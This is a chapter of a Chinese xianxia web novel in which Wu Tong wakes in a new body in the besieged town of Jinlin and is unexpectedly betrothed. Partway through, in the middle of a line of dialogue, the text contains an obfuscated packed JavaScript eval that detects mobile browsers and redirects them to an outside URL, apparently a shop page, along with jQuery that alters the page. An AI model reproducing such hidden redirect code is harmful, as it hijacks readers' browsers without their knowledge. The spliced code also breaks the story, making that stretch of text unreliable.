9.闹鬼(二)
作品:《修仙之忘本指南》 天地之数以十二万九千岁为一元,一万零八百年为一会,修仙界自破鸿蒙起,天开于子,地辟于丑,人生于寅,至今已有四万三千八百年。
据野史记载,每会将尽之时,天地必有动荡。
承平九百二十三年,修仙界内天地失序,百妖横行魔神降世。
上修界里昔日仙气缭绕的名山大川大多都成了妖巢魔窟,各仙门封山自守自顾不暇,下修界的世家大族更是争抢资源互相倾轧,九州大地生灵涂炭不得安宁。
玉京神州位于上修界最南方,紧挨下修界的空明神州,其内宗门过百帮派上千,平日里最为混乱。
恰逢妖魔乱世,此地更胜一筹,大多地界早早就被众妖占去。
但有一地,始终坚守,尚未沦陷。
那就是玉京最南的金鳞。
金鳞并非仙门据点,只是一座人口不过千,占地不过百的小镇,之所以能在乱世中存活,关键在于它有个好镇主。
“芙丫头!芙丫头!快来见见你郭大哥!”
喊声由远及近,从门外变成窗外,最后直接来到耳旁,吴桐猛然睁开眼。
上方的雕花描金拔步床顶,缠枝纹样繁复精致,身下的棉褥绵软厚实,就在她没弄明白怎么回事时,身侧绣金纱帐轻轻晃动后被猛然掀开。
“怎么还不起来?你郭大哥已经在前厅了,快去见一见。”
来人是个年约三十多岁的妇人,她鬓发高束,眉眼锋利,一身干净利落的玄色束腰劲装,英气与威慑并存。
当看到吴桐还躺在床上时,她立马皱起了眉:
“日上三竿还不起床,你郭大哥连夜赶路,今早天还没亮就又和你爹去巡城,哪像你这……”
吴桐有些愣,什么郭大哥,什么巡城,还有谁是芙丫头?
自动忽略那妇人的话,她在识海内打开系统面板,但……是空的!
不光识海内空空荡荡,丹田也是。
这一发现让吴桐有些懵,她猛地坐起又倒下,太阳穴突突直跳,眼前更是天旋地转阵阵发黑。
“早就说让你随我练武。”
妇人刀子嘴豆腐心,看她要掉下床时立马上前接住。
被抚背顺气后,吴桐终于缓过来不少,她一边打量这间屋子,一边套对方的话:
“昨夜怎么了?郭大哥连夜赶路那么辛苦,都没被……被爹放过?”
这屋子无一处不奢华,雕花木饰的螺钿梳妆台、沉香博古架上满是古书玉器,屋中圆桌瓷瓶内一束不知道名字的鲜花清香四溢。
“也就你能如此安心的睡大觉,昨夜城外那么大动静你都没听见?”
妇人将床幔挂起,又拿来一套粉色衣裙递给她。
“昨夜子时,黑风山的黑狼妖夜袭南口,若不是你郭大哥及时赶回来,今早你怕是就见不到你娘我了。”
吴桐看着那身粉衣犯愁,她还真没穿过颜色这么嫩的衣服。
她这副模样落在妇人眼里,就成了身体还不舒服,于是直接上手帮她穿。
穿好衣服,吴桐有些明白过来,这具身体貌似不是摇光那具,她本想照镜子看看,却发现这屋内什么都有,就是没镜子。
连水都没有。
“你找什么呢?”
“水啊。”
妇人被人喊走前给了她一个葫芦,并叮嘱喝完就盖好,切莫洒出来,最后又让她收拾妥当快些去前厅。
葫芦里只装着一半水,不知是不是被施过法,只能直接喝进嘴里,不能倒在地上或碗里,于是吴桐只能放弃。
她所在的这间院子只有二进,门前是一个被抽干了水的池塘,一条九曲长廊悬在塘上通向一个圆拱门。
拱门后是一间很大的院子,院内挤满了人,多是些穿粗布麻衣的青壮男性,偶有几个女性也穿的如先前妇人那般干练,唯有吴桐像只粉蝴蝶。
待走近,她才发现最里面地上有些伤员,甚至还有几个缺胳膊少腿。
边上有人在说话,有的说什么重伤难治,有的说被黑狼妖抓伤之人出现妖化症状,还有的在说什么郭仙君以一敌百实在威风。
“柳小姐?您怎么到这来了?”
说话的是个十来岁的少女,在看到吴桐时十分吃惊,她将药喂给伤员后立马走了过来,把吴桐推向一扇木门。
“这里血气太重,您实在不宜到此。”
木门被推开,那面是另一间四方院子,见吴桐站在门前不动,少女再次开口:
“万少爷在那边呢,他刚从南口回来,说是换身衣服就去见您。”
吴桐有些崩溃,这个万少爷又是谁啊?
大院里又送进一些伤员,少女被喊去帮忙,木门前只剩吴桐一人,就在她犹豫进不进时,院内一间房门由内而外被推开。
门内走出个少年,应该是简单擦洗过,他鬓角还有些微湿。
阳光漫过廊檐,落在少年身上,她可以清晰地瞧见他那张清俊又凌厉的脸。
吴桐用了很大力气才把嘴闭紧,连对方唤人都不敢应声,因为她怕自己一张嘴就是脏话。
少年眉峰如剑眸光澄澈,一身素衣挺拔如松,光是往那一站,就会让人觉得他正的发邪。
但吴桐知道他不是。
因为眼前这少年,正是杀神冯夷。
“芙妹?”
见她发呆,冯夷抬脚走来,一脸关切:“你怎么过来了?可是哪里不适?”
“你为什么在这?”
自从早上起床那一下后,吴桐便好似被吸干精气般又晕又累,此时见到熟人难免有些激动,这一激动就更晕更累,因此问完这句话后,她直接晕了过去。
再睁眼,吴桐又看到了那面雕花顶和那名妇人,只不过这次屋内多了一个中年男子、冯夷,以及……凤亓。
“芙丫头?芙丫头?你感觉怎么样?”
“娘再也不逼你练武了,你别吓娘啊!”
妇人和中年男子眼中关切十足,像盯眼珠子般看着吴桐。
吴桐此时虽好受了些,但她依旧很累,心累。
“芙妹刚醒想必饿了,伯母,你不是还给她炖着汤?”
此时的凤亓一头红发,一身黑袍,与一旁的冯夷比起来,活像个大反派,此时他一脸笑意,似乎很开心吴桐醒来。
“对对对,你瞧我这脑子。”
听到凤亓提醒,妇人立马转身向外走去。
她走后,那名中年男子便坐在吴桐床边为她把脉,半炷香后他才开口,语气十分严肃:
“芙儿,你今日醒来是不是没有吃药?”
吃药?吃什么药?她到现在连水都只喝了一口,还吃药,吃个屁。
吴桐不说话,只躺在那装死。
“哎,爹知道你气我,但这也是不得已之法,你与……哎,知意,你随我去给芙儿拿药。”
中年男子显然会错了意,他唉声叹气说出一堆没头没尾的话后,起身喊了冯夷一起出去。
经过凤亓身边时,吴桐看见他拍了拍对方肩膀,留下一句“你与她说吧”才出门。
屋内只剩吴桐与凤亓。
吴桐从床上坐起,凤亓将腰间镶嵌着青玉的随身宝剑放到圆桌上。
两人沉默许久,凤亓先开口:“现在感觉如何?”
吴桐未答,反问对方:“这是什么地方?”
“自然是你家,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269297|197898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
金鳞镇柳府。”
凤亓看着博古架方向,略微停顿后才继续说道:
“五日前我途经岭南时,听闻妖王无相欲往上修界,玉京作为必经之路,定会有妖族为其开路,而今玉京多地沦陷,唯有金鳞屹立。”
吴桐听出些门道,微抬下巴示意对方继续:
“前日传信给姑父后,我便尽力赶来,但到底晚了些,昨日夜半黑狼妖族袭城,南边那棵大柳树已被烧去一半。”
他说的很是愧疚,似乎那棵柳树很重要。
吴桐没吱声,她在提炼凤亓说的重点,并挖空脑袋回想。
妖王无相在庆和元年就已身殒,凤亓也不可能知道其夺舍重生之事。
接手游戏时,她看过前情提要,自问世,无相只出过一次洞渊,即承平九百二十三年。
修仙界九州共有万万余城池,既叫jinlin又在城南有大柳树的,据她所知,只有金鳞城。
所以,她们现在是穿越时间,回到正邪大战发生的两年前了?
似乎知道她在想什么,凤亓来到床边,他俯下身,脸几乎贴在了吴桐脸上。
“柳芙,如今天下大乱不似从前,你这副身板,唯有我郭过可护你一二,万知意他不行。”
“噗!锅锅?”
吴桐没忍住笑出了声,但她听懂了。
凤亓是身穿,还有修为加持,而她是魂穿,没有修为。
那冯夷呢?凤亓没认不出?
“芙丫头,快把药先喝了。”
呼唤声传来时,凤亓远离床榻回到圆桌边。
门外脚步声由远及近,万雁走在前头,身后跟着端药的柳舟,然后才是冯夷,确切的说,他现在应该是万知意。
吴桐看看一脸关切的便宜父母万雁与柳舟,又看看好似失忆了的冯夷,最后是一脸看戏的凤亓。
她接过那碗闻起来并不算太差的汤药时,想起凤亓刚刚和她说的最后一句话。
他说:“劝你最好别喝那药。”
于是她撇着嘴看向万雁:“娘,太烫了,你放窗口那凉一凉我再喝。”
“娇气,药就是要趁热喝。”
万雁话是这么说,但还是依言把药放到了窗边。
没等吴桐松口气,柳舟看向站老远的凤亓突然开口:
“过儿,我与你父亲是结拜兄弟,你又自小又养在我膝下,虽近些年外出修道回来渐少,但情谊依在,我欲将芙儿许配与你,你可愿?”
他这一番话说的突然,炸翻了屋内其余四个人,尤以吴桐最甚。
“你说什么?”
她直接从床上跳起,好在身子虚,没撞到床顶。
其次是凤亓,他本来在一旁看戏,听到柳舟开口便有一股不好预感,但没想到是这么不好。
这直接让他失了态,不复先前从容,指着猴一般上窜下跳的吴桐:“她许配给我?”
其次是万雁和万知意,这姑侄俩,前者错愕后者欣慰,皆未发一言。
“瞧瞧你什么样子!”吴桐的举动太过夸张,柳舟低喝之余也觉得有些丢脸。
他皱着眉训斥女儿:“过儿乃金丹期修士,是出云宗挂了玉牌的正式弟子,你有什么不满足的?”
吴桐依旧一脸不可置信。
金丹修士怎么了?出云宗怎么了?她可是大乘期的摇光真人,该不满足的应该另有其人才对!
没等她反驳,有人插了话,是凤亓。
房门未关窗户半敞,他站在圆桌前眼底发亮,赤发随穿堂风翻飞,声音压的又轻又快,带着看热闹不嫌事大的坏笑。
他说:“能娶到芙妹是我三生有幸,自然全听伯父做主。”

